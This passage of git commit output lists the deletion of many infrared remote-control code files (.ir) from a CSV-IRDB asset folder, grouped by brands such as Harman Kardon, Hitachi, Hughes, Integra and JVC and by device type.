assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Amplifier/130,114.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Blu-Ray/132,116.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD Changer/128,112.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/128,112.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/131,74.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Cassette Tape/130,114.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/DVD Player/130,114.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/128,112.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/130,114.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/128,112.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/130,114.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/132,116.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/132,66.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/134,118.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/161,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/164,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/40,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/128,112.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/130,114.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/17,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/18,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/20,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/23,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/6,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Processor/64,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Receiver/128,112.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Surround Receiver/130,114.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown/130,114.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_DVD/130,114.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_HD730/131,74.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD/130,114.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_harmankardon/128,112.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/30,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/7,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/iPod/130,114.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Video/Video Projector/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Video/Video Projector/7,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_DSR-0095/29,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_R808/30,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR/4,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hello Kitty/Unknown_Kitty/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Herma/Dipper/5,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hermstedt/Unknown_Hifidelio/16,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hewlett Packard/Plasma/18,17.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hewlett Packard/TV/18,17.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hewlett Packard/TV/2,17.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hinen Electronics/Unknown_Electronics/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hip Interactive/Unknown_GE1002/0,246.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hirschmann/Satellite/32,255.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hirschmann/Unknown_RC426/54,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/CD Player/168,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/12,251.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/184,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/80,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/96,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DSS/97,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/DVD Player/102,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Display/80,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/LCD/86,171.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/144,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/80,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/96,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/96,158.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Monitor/97,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Plasma/80,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Plasma/80,173.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/12,251.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/80,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/80,143.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/80,173.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/TV/96,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CLE-941/80,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CLE-947/80,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_CP-X345/135,69.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_DV-RM335E/128,35.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_Hitachi/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_Hitachi/80,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Unknown_hitachi.conf/91,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/40,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/44,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/5,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/80,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/83,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/96,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/96,158.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/97,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/97,159.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Video Projector/135,69.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Video Projector/80,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hokkaido/Unknown_Airconditioner/77,178.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Homecast/Satellite Receiver/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Homecast/Unknown_DVB-S/32,32.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Homecast/Unknown_DVB-T/64,64.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/12,251.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/133,48.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/136,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/60,178.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/71,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DVR/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DVR/133,48.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/HD Satellite HD Tivo/133,48.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/12,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/12,251.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/133,48.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/136,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/4,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/60,178.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Satellite/71,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/TiVo/133,48.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Unknown_HRMC-8/12,251.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/VCR/96,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/VCR/97,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Com Hem Box/0,16.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Satellite/0,17.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Satellite/0,23.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Satellite/0,73.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Tivo + DVD/133,48.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI/0,16.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_Humax-RC-536P/2,23.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Humax/Unknown_lircd.conf/0,16.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N/0,251.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/I-O Data/DVD Player/8,230.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/I24/Unknown_I24/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/14,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/161,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/162,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/163,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/164,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/165,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/166,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/191,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/255,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Plasma/7,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Projector/135,78.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600/49,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Unknown_ScreenPlay/135,78.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Unknown_remote/135,78.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/123,2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/131,85.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/135,78.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/15,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/2,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/78,135.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/InFocus/Video Projector/80,79.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/DVD Player/135,34.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/TV/134,5.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Insignia/Unknown_WIR147002-8301/67,71.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/2,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/25,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/3,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/96,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/97,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Amplifier/210,109.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Amplifier/71,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Blu-Ray/210,31.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/CD Player/210,44.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/DVD Player/210,31.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/DVD Player/210,43.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/DVD Player/69,181.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,3.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,4.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,9.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/HD DVD/69,181.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Integrated Amplifier/210,109.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Integrated Amplifier/71,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Media PC/4,15.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,108.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,109.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,172.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,25.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,30.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,108.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,109.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,17.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,172.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,18.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,19.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,20.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,21.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,22.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,23.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,24.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,25.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,30.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,43.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Tuner/210,109.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Tuner/210,2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/iPod/210,108.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/iPod/210,109.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/iPod/210,172.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/iPod/210,2.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/IntelliNet Controls/Distributed Audio/0,90.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Interact/Unknown_I-22121/0,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Intervideo/VCR/49,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Intervision/Unknown_Intervision/134,107.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V/162,162.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JBL/Receiver/64,47.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JBL/Surround Processor/130,11.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JBL/Surround Processor/132,66.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JBL/Surround Processor/28,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JENSEN/VCR/1,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/179,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/34,33.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Jukebox/34,48.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Player/179,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Player/179,0.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Player/34,33.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/CD Player/34,48.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Camcorder/211,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Camcorder/67,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/D-VHS/67,-1.ir delete mode 100644 assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/DVD Player/179,-1.ir delete mode 